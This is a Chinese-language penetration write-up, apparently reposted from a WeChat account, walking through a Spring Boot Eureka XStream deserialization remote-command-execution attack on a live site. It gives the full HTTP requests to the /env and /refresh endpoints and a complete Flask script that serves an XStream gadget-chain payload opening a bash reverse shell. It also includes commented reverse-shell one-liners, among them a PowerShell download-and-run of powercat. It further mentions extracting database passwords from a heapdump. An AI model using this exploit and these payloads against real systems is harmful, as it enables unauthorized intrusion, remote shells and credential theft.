记一次SpringBoot eureka XStream 反序列化命令执行漏洞

渗透技巧 2年前 (2023) admin
1,229 0 0

0x01 前言

最近发现,好多网站都是通过springboot搭建的,基本上在进行目录扫描或者指纹扫描的时候都能发现,springboot如果配置不当,就会产生相应的漏洞。

springboot的相关资料可以参考:https://github.com/LandGrey/SpringBootVulExploit,详细讲述了springboot的技巧和利用方法。

这次发现的是springboot eureka的远程命令执行漏洞,具体流程:信息泄漏-DNSLOG测试-RCE。

0x02 漏洞利用

通过信息收集发现目标开放了9099端口,访问后,是一个springboot eureka站点,界面如下:

记一次SpringBoot eureka XStream 反序列化命令执行漏洞

既然是springboot eureka,那么他就可能有deserialization RCE漏洞,但利用这个漏洞有很多的前提。

漏洞利用条件:

  • 可以post请求到目标的/env接口设置属性

  • 可以post请求到目标的/refresh接口刷新配置

  • 目标使用的`eureka-client`的版本小于1.8.7

  • 目标可以http出网

1、/env接口可以直接访问,通过这个可以判断springboot的版本是1.x的,如果是2.x的版本则需要/actuator/env才能访问到下面的页面。

记一次SpringBoot eureka XStream 反序列化命令执行漏洞

记一次SpringBoot eureka XStream 反序列化命令执行漏洞

2、通过dnslog请求,可以测试/env、/refresh和http是否出网。

先设置eureka.client.serviceUrl.defaultZone属性。

POST /env HTTP/1.1Host: xxx.com:9099Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 67
eureka.client.serviceUrl.defaultZone=http://<dnslog的地址>

3、通过访问/configgprops可以看到设置的eureka.client.serviceUrl.defaultZone属性。 

记一次SpringBoot eureka XStream 反序列化命令执行漏洞

4、发送刷新/refresh配置的POST包。

```bashPOST /refresh TTP/1.1Host: xxx.com:9099Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

5、执行完后,就可以静待dnslog是否收到请求了,我在测试的时候,收到请求的时间有点慢,大家需要耐心等待,如果收到了请求,那就说明收米了。

记一次SpringBoot eureka XStream 反序列化命令执行漏洞

6、证明了存在漏洞之后,就可以开始反弹shell了。

提供一个依赖Flask并符合要求的python脚本,利用bash来反弹shell,修改脚本的ip和端口,ip设置成vps的ip,监听端口设置成nc监听的端口,最后在vps上运行这个python脚本。

# -*- coding: utf-8 -*-# @Time    : 2019/3/12 10:06# @Author  : j1anFen# @Site    :# @File    : run.py
# linux反弹shell bash -i >&amp; /dev/tcp/192.168.20.82/9999 0>&amp;1# windows反弹shell# <string>powershell</string># <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string># <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})@app.route('/<path:path>', methods = ['GET', 'POST'])def catch_all(path): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/bash</string> <string>-c</string> <string>bash -i >&amp; /dev/tcp/<vps的ip地址>/8446 0>&amp;1</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString></linked-hash-set>""" return Response(xml, mimetype='application/xml')if __name__ == "__main__": app.run(host='0.0.0.0', port=8088)

先运行上述脚本,脚本运行一个web站点。

记一次SpringBoot eureka XStream 反序列化命令执行漏洞

可以浏览器访问查看

记一次SpringBoot eureka XStream 反序列化命令执行漏洞

然后vps上开启nc监听。

记一次SpringBoot eureka XStream 反序列化命令执行漏洞

前置工作完成后,开始走一遍之前dnslog的验证流程就行,先post /env接口设置属性,然后/refresh属性配置。

记一次SpringBoot eureka XStream 反序列化命令执行漏洞

浏览器访问,可以看到属性配置成功。

记一次SpringBoot eureka XStream 反序列化命令执行漏洞

查看nc的监听结果,成功反弹回shell。

记一次SpringBoot eureka XStream 反序列化命令执行漏洞

0x03 总结

  • 整套流程下来,其实并不复杂,就是在dnslog验证处这里需要点耐心。 

  • 对于springboot的测试还有其他的东西,像这个站点还有heapdump下载,可以从中找到数据库密码。

0x04 其他

https://github.com/AabyssZG/SpringBoot-Scan



原文始发于微信公众号(ListSec):记一次SpringBoot eureka XStream 反序列化命令执行漏洞

版权声明:admin 发表于 2023年2月25日 下午1:59。
转载请注明:记一次SpringBoot eureka XStream 反序列化命令执行漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...